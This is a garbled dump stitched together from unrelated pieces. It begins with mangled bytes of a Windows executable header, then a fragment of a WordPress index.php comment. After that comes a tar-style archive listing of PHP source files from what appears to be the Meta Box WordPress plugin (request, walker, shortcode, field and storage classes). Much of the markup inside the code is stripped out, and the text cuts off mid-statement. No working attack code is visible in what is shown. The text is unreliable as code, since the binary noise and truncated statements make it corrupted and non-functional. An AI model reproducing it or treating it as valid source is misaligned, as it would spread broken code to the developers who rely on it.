?MZ?   ?? ? @ ? o ¡ä ¨ª!?L¨ª!This program cannot be run in DOS mode. $ 3B¡ä¡ä¡Â#¨²?¡Â#¨²?¡Â#¨²?¡­¡é??A#¨²?¡­¡éT??#¨²?¡­¡é¨´??#¨²??£¤'??#¨²??£¤¨´?t#¨²??£¤T??#¨²??£¤???#¨²?¡­¡é??e#¨²?¡Â#??{#¨²?s£¤T??#¨²?s£¤???#¨²?Rich¡Â#¨²? PE d? ??g e " * o  €?  @     P  ¨º¡é?  `¨¢€?     ¨ª P ? ?? ` # @ t P¨¢  ¨¤ @ D  .text 1  o  `.rdata j+ D , ? @ @.data PS   ¨º @ ¨¤.pdata # ` $ ? @ @.fptable  ?   @ ¨¤.rsrc ?? ? ?  @ @.reloc t @  ? /** * Front to the WordPress application. This file doesn't do anything, but loads request.php000064400000004545151545703130006761 0ustar00 * * @link https://github.com/laravel/framework/blob/6.x/src/Illuminate/Http/Request.php * @link https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/HttpFoundation/ParameterBag.php */ class RWMB_Request { private $get_data = []; private $post_data = []; public function __construct() { // @codingStandardsIgnoreLine $this->get_data = $_GET; // @codingStandardsIgnoreLine $this->post_data = $_POST; // Cleanup data $this->post_data = $this->cleanup( $this->post_data ); } public function set_get_data( array $data ) { $this->get_data = array_merge( $this->get_data, $data ); } public function set_post_data( array $data ) { $this->post_data = array_merge( $this->post_data, $data ); } public function get( string $name, $default = null ) { return $this->get_data[ $name ] ?? $default; } public function post( string $name, $default = null ) { return $this->post_data[ $name ] ?? $default; } public function cleanup( array $data ) { $cleanups = $data['rwmb_cleanup'] ?? []; // Array of field ids if ( empty( $cleanups ) || ! is_array( $cleanups ) ) { return $data; } // Decode the JSON string for each cleanup item foreach ( $cleanups as $cleanup ) { $cleanup = json_decode( stripslashes( $cleanup ) ); if ( ! is_array( $cleanup ) ) { continue; } foreach ( $cleanup as $field_id ) { // Remove the field from the data Arr::remove_first( $data, $field_id ); } } return $data; } /** * Filter a GET parameter. * * @param string $name Parameter name. * @param int $filter FILTER_* constant. * @param mixed $options Filter options. * * @return mixed */ public function filter_get( string $name, $filter = FILTER_DEFAULT, $options = [] ) { $value = $this->get( $name ); return filter_var( $value, $filter, $options ); } /** * Filter a POST parameter. * * @param string $name Parameter name. * @param int $filter FILTER_* constant. * @param mixed $options Filter options. * * @return mixed */ public function filter_post( string $name, $filter = FILTER_DEFAULT, $options = [] ) { $value = $this->post( $name ); return filter_var( $value, $filter, $options ); } } walkers/select-tree.php000064400000004313151545703130011146 0ustar00field = $field; $this->meta = (array) $meta; } /** * Display array of elements hierarchically. * * @param array $options An array of options. * * @return string */ public function walk( $options ) { $children = []; foreach ( $options as $option ) { $parent = $option->parent ?? 0; $children[ $parent ][] = $option; } $top_level = isset( $children[0] ) ? 0 : $options[0]->parent; return $this->display_level( $children, $top_level, true ); } /** * Display a hierarchy level. * * @param array $options An array of options. * @param int $parent_id Parent item ID. * @param bool $active Whether to show or hide. * * @return string */ public function display_level( $options, $parent_id = 0, $active = false ) { static $output_required = false; $field = $this->field; $walker = new RWMB_Walker_Select( $field, $this->meta ); $attributes = RWMB_Field::call( 'get_attributes', $field, $this->meta ); if ( $output_required ) { unset( $attributes[ 'required' ] ); } if ( ! empty( $attributes['required'] ) ) { $output_required = true; } $children = $options[ $parent_id ]; $output = sprintf( '
'; foreach ( $children as $child ) { if ( isset( $options[ $child->value ] ) ) { $output .= $this->display_level( $options, $child->value, in_array( $child->value, $this->meta ) && $active ); } } $output .= '
'; return $output; } } walkers/select.php000064400000001605151545703130010212 0ustar00%s%s', esc_attr( $object->value ), selected( in_array( $object->value, $this->meta ), true, false ), $indent, esc_html( $object->label ) ); } } walkers/base.php000064400000001141151545703130007640 0ustar00db_fields = [ 'id' => 'value', 'parent' => 'parent', ]; $this->field = $field; $this->meta = (array) $meta; } } walkers/input-list.php000064400000003155151545703130011045 0ustar00'; } /** * Ends the list of after the elements are added. * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function end_lvl( &$output, $depth = 0, $args = [] ) { $output .= ''; } /** * Start the element output. * * @param string $output Passed by reference. Used to append additional content. * @param object $object The data object. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. * @param int $current_object_id ID of the current item. */ public function start_el( &$output, $object, $depth = 0, $args = [], $current_object_id = 0 ) { $attributes = RWMB_Field::call( 'get_attributes', $this->field, $object->value ); $output .= sprintf( '', RWMB_Field::render_attributes( $attributes ), checked( in_array( $object->value, $this->meta ), true, false ), $object->label ); } } shortcode.php000064400000005057151545703130007262 0ustar00 '', 'object_id' => null, 'attribute' => '', 'render_shortcodes' => 'true', ] ); Arr::change_key( $atts, 'post_id', 'object_id' ); Arr::change_key( $atts, 'meta_key', 'id' ); if ( empty( $atts['id'] ) ) { return ''; } $field_id = $atts['id']; $object_id = $atts['object_id']; unset( $atts['id'], $atts['object_id'] ); $value = $this->get_value( $field_id, $object_id, $atts ); $value = 'true' === $atts['render_shortcodes'] ? do_shortcode( $value ) : $value; $secure = apply_filters( 'rwmb_meta_shortcode_secure', true, $field_id, $atts, $object_id ); $secure = apply_filters( "rwmb_meta_shortcode_secure_{$field_id}", $secure, $atts, $object_id ); if ( $secure ) { $value = wp_kses_post( $value ); } return $value; } private function get_value( $field_id, $object_id, $atts ) { // If we pass object_id via shortcode, we need to make sure current user // has permission to view the object if ( ! is_null ( $object_id ) ) { $has_object_permission = $this->check_object_permission( $object_id, $atts ); if ( ! $has_object_permission ) { return null; } } $attribute = $atts['attribute']; if ( ! $attribute ) { return rwmb_the_value( $field_id, $atts, $object_id, false ); } $value = rwmb_get_value( $field_id, $atts, $object_id ); if ( ! is_array( $value ) && ! is_object( $value ) ) { return $value; } if ( is_object( $value ) ) { return $value->$attribute; } if ( isset( $value[ $attribute ] ) ) { return $value[ $attribute ]; } $value = wp_list_pluck( $value, $attribute ); $value = implode( ',', array_filter( $value ) ); return $value; } private function check_object_permission( $object_id, $atts ) { // Skip checking if object_type is not post if ( isset( $atts['object_type'] ) && $atts['object_type'] !== 'post' ) { return true; } $post = get_post( $object_id ); if ( ! $post ) { return false; } // Skip checking if post status is publish AND no password is set if ( 'publish' === $post->post_status && ! post_password_required( $post ) ) { return true; } $object_type = get_post_type_object( $post->post_type ); if ( ! $object_type ) { return false; } $read_post = $object_type->cap->read_post; return current_user_can( $read_post, $object_id ); } } meta-box.php000064400000030607151545703130007003 0ustar00meta_box = $meta_box; $this->meta_box['fields'] = static::normalize_fields( $meta_box['fields'], $this->get_storage() ); $this->meta_box = apply_filters( 'rwmb_meta_box_settings', $this->meta_box ); if ( $this->is_shown() ) { $this->global_hooks(); $this->object_hooks(); } } public function register_fields() { $field_registry = rwmb_get_registry( 'field' ); foreach ( $this->post_types as $post_type ) { foreach ( $this->fields as $field ) { $field_registry->add( $field, $post_type ); } } } public function is_shown() : bool { $show = apply_filters( 'rwmb_show', true, $this->meta_box ); return apply_filters( "rwmb_show_{$this->id}", $show, $this->meta_box ); } protected function global_hooks() { // Enqueue common styles and scripts. add_action( 'admin_enqueue_scripts', [ $this, 'enqueue' ] ); // Enqueue assets for the block editor only, just for previewing (submission forms, custom blocks). // Don't enqueue on frontend as front-end forms and blocks already call the enqueue() method. // TODO: Uncomment this when we have a way to enqueue assets for the block/site editor. // if ( is_admin() ) { // add_action( 'enqueue_block_assets', [ $this, 'enqueue' ] ); // } // Add additional actions for fields. foreach ( $this->fields as $field ) { RWMB_Field::call( $field, 'add_actions' ); } } /** * Specific hooks for meta box object. Default is 'post'. * This should be extended in subclasses to support meta fields for terms, user, settings pages, etc. */ protected function object_hooks() { // Add meta box. add_action( 'add_meta_boxes', [ $this, 'add_meta_boxes' ] ); // Hide meta box if it's set 'default_hidden'. add_filter( 'default_hidden_meta_boxes', [ $this, 'hide' ], 10, 2 ); // Save post meta. foreach ( $this->post_types as $post_type ) { if ( 'attachment' === $post_type ) { // Attachment uses other hooks. // @see wp_update_post(), wp_insert_attachment(). add_action( 'edit_attachment', [ $this, 'save_post' ] ); add_action( 'add_attachment', [ $this, 'save_post' ] ); } else { add_action( "save_post_{$post_type}", [ $this, 'save_post' ] ); } } } public function enqueue() { if ( is_admin() && ! $this->is_edit_screen() && ! $this->is_gutenberg_screen() ) { return; } wp_enqueue_style( 'rwmb', RWMB_CSS_URL . 'style.css', [], RWMB_VER ); wp_style_add_data( 'rwmb', 'path', RWMB_CSS_DIR . 'style.css' ); if ( is_rtl() ) { wp_enqueue_style( 'rwmb-rtl', RWMB_CSS_URL . 'style-rtl.css', [], RWMB_VER ); wp_style_add_data( 'rwmb-rtl', 'path', RWMB_CSS_DIR . 'style-rtl.css' ); } wp_enqueue_script( 'rwmb', RWMB_JS_URL . 'script.js', [ 'jquery' ], RWMB_VER, true ); // Load clone script conditionally. foreach ( $this->fields as $field ) { if ( $field['clone'] ) { wp_enqueue_script( 'rwmb-clone', RWMB_JS_URL . 'clone.js', [ 'jquery-ui-sortable' ], RWMB_VER, true ); break; } } // Enqueue scripts and styles for fields. foreach ( $this->fields as $field ) { RWMB_Field::call( $field, 'admin_enqueue_scripts' ); } // Auto save. if ( $this->autosave ) { wp_enqueue_script( 'rwmb-autosave', RWMB_JS_URL . 'autosave.js', [ 'jquery' ], RWMB_VER, true ); } /** * Allow developers to enqueue more scripts and styles * * @param RW_Meta_Box $object Meta Box object */ do_action( 'rwmb_enqueue_scripts', $this ); } private function is_gutenberg_screen() : bool { $screen = get_current_screen(); return in_array( $screen->base, [ 'site-editor', 'widgets' ] ); } /** * Add meta box for multiple post types */ public function add_meta_boxes() { $screen = get_current_screen(); add_filter( "postbox_classes_{$screen->id}_{$this->id}", [ $this, 'postbox_classes' ] ); foreach ( $this->post_types as $post_type ) { add_meta_box( $this->id, $this->title, [ $this, 'show' ], $post_type, $this->context, $this->priority ); } } public function postbox_classes( array $classes ) : array { if ( $this->closed ) { $classes[] = 'closed'; } $classes[] = "rwmb-{$this->style}"; return $classes; } public function hide( array $hidden, $screen ) : array { if ( $this->is_edit_screen( $screen ) && $this->default_hidden ) { $hidden[] = $this->id; } return $hidden; } public function show() { if ( null === $this->object_id ) { $this->object_id = $this->get_current_object_id(); } $saved = $this->is_saved(); // Container. printf( '
', esc_attr( trim( "rwmb-meta-box {$this->class}" ) ), esc_attr( $this->autosave ? 'true' : 'false' ), esc_attr( $this->object_type ), esc_attr( $this->object_id ) ); wp_nonce_field( "rwmb-save-{$this->id}", "nonce_{$this->id}" ); // Allow users to add custom code before meta box content. // 1st action applies to all meta boxes. // 2nd action applies to only current meta box. do_action( 'rwmb_before', $this ); do_action( "rwmb_before_{$this->id}", $this ); foreach ( $this->fields as $field ) { RWMB_Field::call( 'show', $field, $saved, $this->object_id ); } $this->render_cleanup(); // Allow users to add custom code after meta box content. // 1st action applies to all meta boxes. // 2nd action applies to only current meta box. do_action( 'rwmb_after', $this ); do_action( "rwmb_after_{$this->id}", $this ); // End container. echo '
'; } protected function get_cleanup_fields( $fields, $prefix = '' ) { $names = []; foreach ( $fields as $field ) { $field_id = $prefix . $field['id']; if ( ! empty( $field['fields'] ) ) { $suffix = $field[ 'clone' ] ? '.*.' : '.'; $names = array_merge( $names, $this->get_cleanup_fields( $field['fields'], $field_id . $suffix ) ); } if ( $field['clone'] ) { $names[] = $field_id; } } return $names; } protected function render_cleanup() { $names = $this->get_cleanup_fields( $this->fields ); echo ''; } /** * Save data from meta box * * @param int $object_id Object ID. */ public function save_post( $object_id ) { if ( ! $this->validate() ) { return; } $this->saved = true; $object_id = $this->get_real_object_id( $object_id ); $this->object_id = $object_id; // Before save action. do_action( 'rwmb_before_save_post', $object_id ); do_action( "rwmb_{$this->id}_before_save_post", $object_id ); array_map( [ $this, 'save_field' ], $this->fields ); // After save action. do_action( 'rwmb_after_save_post', $object_id ); do_action( "rwmb_{$this->id}_after_save_post", $object_id ); } public function save_field( array $field ) { $single = $field['clone'] || ! $field['multiple']; $default = $single ? '' : []; $old = RWMB_Field::call( $field, 'raw_meta', $this->object_id ); $new = rwmb_request()->post( $field['id'], $default ); $new = RWMB_Field::process_value( $new, $this->object_id, $field ); // Filter to allow the field to be modified. $field = RWMB_Field::filter( 'field', $field, $field, $new, $old ); // Call defined method to save meta value, if there's no methods, call common one. RWMB_Field::call( $field, 'save', $new, $old, $this->object_id ); RWMB_Field::filter( 'after_save_field', null, $field, $new, $old, $this->object_id ); } public function validate() : bool { $nonce = rwmb_request()->filter_post( "nonce_{$this->id}" ); return ! $this->saved && ( ! defined( 'DOING_AUTOSAVE' ) || $this->autosave ) && wp_verify_nonce( $nonce, "rwmb-save-{$this->id}" ); } public static function normalize( $meta_box ) { $default_title = __( 'Meta Box Title', 'meta-box' ); $meta_box = wp_parse_args( $meta_box, [ 'title' => $default_title, 'id' => ! empty( $meta_box['title'] ) ? sanitize_title( $meta_box['title'] ) : sanitize_title( $default_title ), 'context' => 'normal', 'priority' => 'high', 'post_types' => 'post', 'autosave' => false, 'default_hidden' => false, 'style' => 'default', 'class' => '', 'fields' => [], ] ); /** * Use 'post_types' for better understanding and fallback to 'pages' for previous versions. * @since 4.4.1 */ Arr::change_key( $meta_box, 'pages', 'post_types' ); // Make sure the post type is an array and is sanitized. $meta_box['post_types'] = array_filter( array_map( 'sanitize_key', Arr::from_csv( $meta_box['post_types'] ) ) ); return $meta_box; } public static function normalize_fields( array $fields, $storage = null ) : array { foreach ( $fields as $k => $field ) { $field = RWMB_Field::call( 'normalize', $field ); // Allow to add default values for fields. $field = apply_filters( 'rwmb_normalize_field', $field ); $field = apply_filters( "rwmb_normalize_{$field['type']}_field", $field ); $field = apply_filters( "rwmb_normalize_{$field['id']}_field", $field ); $field['storage'] = $storage; $fields[ $k ] = $field; } return $fields; } /** * Check if meta box is saved before. * This helps to save empty value in meta fields (text, check box, etc.) and set the correct default values. */ public function is_saved() { foreach ( $this->fields as $field ) { if ( empty( $field['id'] ) ) { continue; } $value = RWMB_Field::call( $field, 'raw_meta', $this->object_id ); if ( false === $value ) { continue; } $single = ! $field['multiple']; if ( $field['clone'] ) { $single = ! $field['clone_as_multiple']; } if ( ( $single && '' !== $value ) || ( ! $single && is_array( $value ) && [] !== $value ) ) { return true; } } return false; } /** * Check if we're on the right edit screen. * * @param ?WP_Screen $screen Screen object. */ public function is_edit_screen( $screen = null ) { if ( ! ( $screen instanceof WP_Screen ) ) { $screen = get_current_screen(); } return in_array( $screen->base, [ 'post', 'upload' ], true ) && in_array( $screen->post_type, $this->post_types, true ); } public function __get( string $key ) { return $this->meta_box[ $key ] ?? false; } /** * Set the object ID. * * @param mixed $id Object ID. */ public function set_object_id( $id = null ) { $this->object_id = $id; } public function get_object_type() : string { return $this->object_type; } /** * Get storage object. * * @return RWMB_Storage_Interface */ public function get_storage() { return rwmb_get_storage( $this->object_type, $this ); } /** * Get current object id. * * @return int */ protected function get_current_object_id() { return get_the_ID(); } /** * Get real object ID when submitting. * * @param int $object_id Object ID. * @return int */ protected function get_real_object_id( $object_id ) { // Make sure meta is added to the post, not a revision. if ( 'post' !== $this->object_type ) { return $object_id; } $parent = wp_is_post_revision( $object_id ); return $parent ?: $object_id; } } helpers/field.php000064400000002175151545703130010013 0ustar00get_data( $handle, 'data' ) ) { wp_localize_script( $handle, $name, $data ); } } public static function add_inline_script_once( string $handle, string $text ) { if ( ! wp_scripts()->get_data( $handle, 'after' ) ) { wp_add_inline_script( $handle, $text ); } } public static function get_class( $field ) : string { $type = self::get_type( $field ); $class = 'RWMB_' . RWMB_Helpers_String::title_case( $type ) . '_Field'; $class = apply_filters( 'rwmb_field_class', $class, $type ); return class_exists( $class ) ? $class : 'RWMB_Input_Field'; } private static function get_type( $field ) : string { $type = $field['type'] ?? 'text'; $map = array_merge( [ $type => $type, ], [ 'file_advanced' => 'media', 'plupload_image' => 'image_upload', 'url' => 'text', ] ); return $map[ $type ]; } } helpers/array.php000064400000000254151545703130010042 0ustar00add( $meta_box ); return $meta_box; } public function add( RW_Meta_Box $meta_box ) { $this->data[ $meta_box->id ] = $meta_box; } public function get( $id ) { return $this->data[ $id ] ?? false; } /** * Get meta boxes under some conditions. * * @param array $args Custom argument to get meta boxes by. */ public function get_by( array $args ) : array { $meta_boxes = $this->data; foreach ( $meta_boxes as $index => $meta_box ) { foreach ( $args as $key => $value ) { $meta_box_key = 'object_type' === $key ? $meta_box->get_object_type() : $meta_box->$key; if ( $meta_box_key !== $value ) { unset( $meta_boxes[ $index ] ); continue 2; // Skip the meta box loop. } } } return $meta_boxes; } public function all() { return $this->data; } } field.php000064400000043632151545703130006354 0ustar00' . $html . ''; $outer_html .= $field['after']; $outer_html = self::filter( 'outer_html', $outer_html, $field, $meta ); echo $outer_html; // phpcs:ignore WordPress.Security.EscapeOutput } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * * @return string */ public static function html( $meta, $field ) { return ''; } protected static function begin_html( array $field ): string { $id = $field['attributes']['id'] ?? $field['id']; $required = $field['required'] || ! empty( $field['attributes']['required'] ); $required = $required ? '*' : ''; $label = $field['name'] ? sprintf( // Translators: %1$s - field ID, %2$s - field label, %3$s - required asterisk, %4$s - label description. '
%4$s
', esc_attr( $id ), $field['name'], $required, static::label_description( $field ) ) : ''; $data_max_clone = is_numeric( $field['max_clone'] ) && $field['max_clone'] > 0 ? ' data-max-clone=' . $field['max_clone'] : ''; $data_min_clone = is_numeric( $field['min_clone'] ) && $field['min_clone'] > 0 ? ' data-min-clone=' . $field['min_clone'] : ''; $data_empty_start = $field['clone_empty_start'] ? ' data-clone-empty-start="1"' : ' data-clone-empty-start="0"'; $input_open = sprintf( '
', $data_min_clone, $data_max_clone, $data_empty_start ); return $label . $input_open; } protected static function end_html( array $field ): string { return RWMB_Clone::add_clone_button( $field ) . static::input_description( $field ) . '
'; } protected static function label_description( array $field ): string { $id = $field['id'] ? ' id="' . esc_attr( $field['id'] ) . '-label-description"' : ''; return $field['label_description'] ? "{$field['label_description']}

" : ''; } protected static function input_description( array $field ): string { $id = $field['id'] ? ' id="' . esc_attr( $field['id'] ) . '-description"' : ''; return $field['desc'] ? "{$field['desc']}

" : ''; } /** * Get raw meta value. * * @param int $object_id Object ID. * @param array $field Field parameters. * @param array $args Arguments of {@see rwmb_meta()} helper. * * @return mixed */ public static function raw_meta( $object_id, $field, $args = [] ) { if ( empty( $field['id'] ) ) { return ''; } if ( isset( $field['storage'] ) ) { $storage = $field['storage']; } elseif ( isset( $args['object_type'] ) ) { $storage = rwmb_get_storage( $args['object_type'] ); } else { $storage = rwmb_get_storage( 'post' ); } if ( ! isset( $args['single'] ) ) { $args['single'] = $field['clone'] || ! $field['multiple']; } if ( $field['clone'] && $field['clone_as_multiple'] ) { $args['single'] = false; } $value = $storage->get( $object_id, $field['id'], $args ); $value = self::filter( 'raw_meta', $value, $field, $object_id, $args ); return $value; } /** * Get meta value. * * @param int $post_id Post ID. * @param bool $saved Whether the meta box is saved at least once. * @param array $field Field parameters. * * @return mixed */ public static function meta( $post_id, $saved, $field ) { /** * For special fields like 'divider', 'heading' which don't have ID, just return empty string * to prevent notice error when displaying fields. */ if ( empty( $field['id'] ) ) { return ''; } // Get raw meta. $raw_meta = self::call( $field, 'raw_meta', $post_id ); $single_std = self::call( 'get_single_std', $field ); $std = self::call( 'get_std', $field ); $saved = $saved && $field['save_field']; // Use $field['std'] only when the meta box hasn't been saved (i.e. the first time we run). $meta = $saved ? $raw_meta : $std; if ( ! $field['clone'] ) { return $meta; } // When a field is cloneable, it should always return an array. $meta = is_array( $raw_meta ) ? $raw_meta : []; if ( empty( $meta ) ) { $empty_meta = empty( $raw_meta ) ? [ null ] : $raw_meta; $std = $field['clone_empty_start'] ? [] : $std; $empty_std = $field['clone_empty_start'] ? [] : Arr::to_depth( $empty_meta, Arr::depth( $std ) ); $meta = $saved ? $empty_std : $std; } // 2. Always prepend a template array_unshift( $meta, $single_std ); return $meta; } /** * Process the submitted value before saving into the database. * * @param mixed $value The submitted value. * @param int $object_id The object ID. * @param array $field The field settings. */ public static function process_value( $value, $object_id, array $field ) { $old_value = self::call( $field, 'raw_meta', $object_id ); // Allow field class change the value. if ( $field['clone'] ) { $value = RWMB_Clone::value( $value, $old_value, $object_id, $field ); } else { $value = self::call( $field, 'value', $value, $old_value, $object_id ); $value = self::filter( 'sanitize', $value, $field, $old_value, $object_id ); } $value = self::filter( 'value', $value, $field, $old_value, $object_id ); return $value; } /** * Set value of meta before saving into database. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return mixed */ public static function value( $new, $old, $post_id, $field ) { return $new; } /** * Save meta value. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. */ public static function save( $new, $old, $post_id, $field ) { if ( empty( $field['id'] ) || ! $field['save_field'] ) { return; } $name = $field['id']; $storage = $field['storage']; // Remove post meta if it's empty. if ( ! RWMB_Helpers_Value::is_valid_for_field( $new ) ) { $storage->delete( $post_id, $name ); return; } // If field is cloneable AND not force to save as multiple rows, value is saved as a single row in the database. if ( $field['clone'] && ! $field['clone_as_multiple'] ) { $storage->update( $post_id, $name, $new ); return; } // Save cloned fields as multiple values instead serialized array. if ( ( $field['clone'] && $field['clone_as_multiple'] ) || $field['multiple'] ) { $storage->delete( $post_id, $name ); $new = (array) $new; foreach ( $new as $new_value ) { $storage->add( $post_id, $name, $new_value, false ); } return; } // Default: just update post meta. $storage->update( $post_id, $name, $new ); } /** * Normalize parameters for field. * * @param array|string $field Field settings. * @return array */ public static function normalize( $field ) { // Quick define text fields with "name" attribute only. if ( is_string( $field ) ) { $field = [ 'name' => $field, 'id' => sanitize_key( $field ), ]; } $field = wp_parse_args( $field, [ 'id' => '', 'name' => '', 'type' => 'text', 'label_description' => '', 'multiple' => false, 'std' => '', 'desc' => '', 'format' => '', 'before' => '', 'after' => '', 'field_name' => $field['id'] ?? '', 'placeholder' => '', 'save_field' => true, 'clone' => false, 'min_clone' => 0, 'max_clone' => 0, 'sort_clone' => false, 'add_button' => __( '+ Add more', 'meta-box' ), 'clone_default' => false, 'clone_as_multiple' => false, 'clone_empty_start' => false, 'class' => '', 'disabled' => false, 'required' => false, 'autofocus' => false, 'attributes' => [], 'sanitize_callback' => null, ] ); // Store the original ID to run correct filters for the cloneable field. if ( $field['clone'] ) { $field['_original_id'] = $field['id']; } if ( $field['clone_default'] ) { $field['attributes'] = wp_parse_args( $field['attributes'], [ 'data-default' => $field['std'], 'data-clone-default' => 'true', ] ); } return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = wp_parse_args( $field['attributes'], [ 'disabled' => $field['disabled'], 'autofocus' => $field['autofocus'], 'required' => $field['required'], 'id' => $field['id'], 'class' => '', 'name' => $field['field_name'], ] ); $attributes['class'] = trim( implode( ' ', array_merge( [ "rwmb-{$field['type']}" ], (array) $attributes['class'] ) ) ); $id = $attributes['id'] ?: $field['id']; if ( $field['name'] || $field['label_description'] ) { $attributes['aria-labelledby'] = "$id-label"; } if ( $field['desc'] ) { $attributes['aria-describedby'] = "$id-description"; } return $attributes; } public static function render_attributes( array $attributes ): string { $output = ''; $attributes = array_filter( $attributes, 'RWMB_Helpers_Value::is_valid_for_attribute' ); foreach ( $attributes as $key => $value ) { if ( is_array( $value ) ) { $value = wp_json_encode( $value ); } $output .= sprintf( ' %s="%s"', $key, esc_attr( $value ) ); } return $output; } /** * Get the field value. * The difference between this function and 'meta' function is 'meta' function always returns the escaped value * of the field saved in the database, while this function returns more meaningful value of the field, for ex.: * for file/image: return array of file/image information instead of file/image IDs. * * Each field can extend this function and add more data to the returned value. * See specific field classes for details. * * @param array $field Field parameters. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param ?int $post_id Post ID. * * @return mixed Field value */ public static function get_value( $field, $args = [], $post_id = null ) { // Some fields does not have ID like heading, custom HTML, etc. if ( empty( $field['id'] ) ) { return ''; } if ( ! $post_id ) { $post_id = get_the_ID(); } // Get raw meta value in the database, no escape. $value = self::call( $field, 'raw_meta', $post_id, $args ); // Make sure meta value is an array for cloneable and multiple fields. if ( $field['clone'] || $field['multiple'] ) { $value = is_array( $value ) && ! empty( $value ) ? $value : []; } return $value; } /** * Output the field value. * Depends on field value and field types, each field can extend this method to output its value in its own way * See specific field classes for details. * * Note: we don't echo the field value directly. We return the output HTML of field, which will be used in * rwmb_the_field function later. * * @use self::get_value() * @see rwmb_the_value() * * @param array $field Field parameters. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string HTML output of the field */ public static function the_value( $field, $args = [], $post_id = null ) { $value = self::call( 'get_value', $field, $args, $post_id ); if ( false === $value ) { return ''; } return self::call( 'format_value', $field, $value, $args, $post_id ); } /** * Format value for the helper functions. * * @param array $field Field parameters. * @param string|array $value The field meta value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_value( $field, $value, $args, $post_id ) { if ( ! $field['clone'] ) { return self::call( 'format_clone_value', $field, $value, $args, $post_id ); } $output = ''; return $output; } /** * Format value for a clone. * * @param array $field Field parameters. * @param string|array $value The field meta value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_clone_value( $field, $value, $args, $post_id ) { if ( ! $field['multiple'] ) { return self::call( 'format_single_value', $field, $value, $args, $post_id ); } $output = ''; return $output; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { return $value; } /** * Call a method of a field. */ public static function call() { $args = func_get_args(); $check = reset( $args ); // Params: method name, field, other params. if ( is_string( $check ) ) { $method = array_shift( $args ); $field = reset( $args ); // Keep field as 1st param. } else { // Params: field, method name, other params. $field = array_shift( $args ); $method = array_shift( $args ); if ( 'raw_meta' === $method ) { // Add field param after object id. array_splice( $args, 1, 0, [ $field ] ); } else { $args[] = $field; // Add field as last param. } } $class = RWMB_Helpers_Field::get_class( $field ); if ( method_exists( $class, $method ) ) { return call_user_func_array( [ $class, $method ], $args ); } _deprecated_function( esc_html( "$class::$method" ), '5.4.8' ); } /** * Apply various filters based on field type, id. * Filters: * - rwmb_{$name} * - rwmb_{$field['type']}_{$name} * - rwmb_{$field['id']}_{$name} * * @return mixed */ public static function filter() { $args = func_get_args(); // 3 first params must be: filter name, value, field. Other params will be used for filters. $name = array_shift( $args ); $value = array_shift( $args ); $field = array_shift( $args ); // List of filters. $filters = [ 'rwmb_' . $name, 'rwmb_' . $field['type'] . '_' . $name, ]; if ( $field['id'] ) { $field_id = $field['clone'] ? $field['_original_id'] : $field['id']; $filters[] = 'rwmb_' . $field_id . '_' . $name; } // Filter params: value, field, other params. Note: value is changed after each run. array_unshift( $args, $field ); foreach ( $filters as $filter ) { $filter_args = $args; array_unshift( $filter_args, $value ); $value = apply_filters_ref_array( $filter, $filter_args ); } return $value; } protected static function get_std( array $field ) { $depth = 0; if ( $field['multiple'] ) { $depth++; } if ( $field['clone'] ) { $depth++; } return Arr::to_depth( $field['std'], $depth ); } protected static function get_single_std( array $field ) { $depth = 0; if ( $field['multiple'] ) { $depth++; } return Arr::to_depth( $field[ 'std' ], $depth ); } } storages/base.php000064400000007500151545703130010024 0ustar00object_type, $object_id, $meta_key, $single ); } /** * Add metadata * * @param int $object_id ID of the object metadata is for. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param bool $unique Optional, default is false. * Whether the specified metadata key should be unique for the object. * If true, and the object already has a value for the specified metadata key, * no change will be made. * @return int|false The meta ID on success, false on failure. * * @see add_metadata() */ public function add( $object_id, $meta_key, $meta_value, $unique = false ) { return add_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $unique ); } /** * Update metadata. * * @param int $object_id ID of the object metadata is for. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param mixed $prev_value Optional. If specified, only update existing metadata entries with * the specified value. Otherwise, update all entries. * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure. * * @see update_metadata() */ public function update( $object_id, $meta_key, $meta_value, $prev_value = '' ) { return update_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $prev_value ); } /** * Delete metadata. * * @param int $object_id ID of the object metadata is for. * @param string $meta_key Metadata key. * @param mixed $meta_value Optional. Metadata value. Must be serializable if non-scalar. If specified, only delete * metadata entries with this value. Otherwise, delete all entries with the specified meta_key. * Pass `null, `false`, or an empty string to skip this check. (For backward compatibility, * it is not possible to pass an empty string to delete those entries with an empty string * for a value). * @param bool $delete_all Optional, default is false. If true, delete matching metadata entries for all objects, * ignoring the specified object_id. Otherwise, only delete matching metadata entries for * the specified object_id. * @return bool True on successful delete, false on failure. * * @see delete_metadata() */ public function delete( $object_id, $meta_key, $meta_value = '', $delete_all = false ) { return delete_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $delete_all ); } } storages/post.php000064400000000400151545703130010067 0ustar00filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY ); // Required for 'choice_label' filter. See self::filter(). $field['clone'] = false; $field['_original_id'] = $field['id']; // Search. $term = (string) $request->filter_post( 'term' ); if ( $term ) { $field['query_args']['search'] = "*{$term}*"; } // Pagination. $limit = $field['query_args']['number'] ?? 0; $limit = (int) $limit; if ( $limit && 'query:append' 